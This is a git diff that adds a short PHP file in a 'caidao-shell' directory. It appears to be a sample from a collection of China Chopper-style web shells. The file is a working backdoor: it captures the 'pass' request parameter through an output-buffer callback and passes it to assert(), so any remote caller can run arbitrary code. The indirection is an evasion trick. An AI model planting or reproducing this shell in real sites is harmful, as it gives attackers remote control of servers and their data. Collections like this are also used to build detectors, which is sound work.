diff --git a/caidao-shell/w-ob_start01.php b/caidao-shell/w-ob_start01.php
new file mode 100644
index 0000000..6c72170
--- /dev/null
+++ b/caidao-shell/w-ob_start01.php
@@ -0,0 +1,7 @@
+<?php 
+$evalstr=""; 
+ob_start(function ($c,$d){global $evalstr;$evalstr=$c;}); 
+echo $_REQUEST['pass']; 
+ob_end_flush(); 
+assert($evalstr); 
+?>